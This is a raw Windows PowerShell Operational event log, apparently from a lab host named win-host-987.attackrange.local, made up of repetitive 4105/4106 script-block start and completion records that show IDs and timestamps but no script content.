Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046230
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046229
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046224
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046223
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046201
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046200
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046199
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046198
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
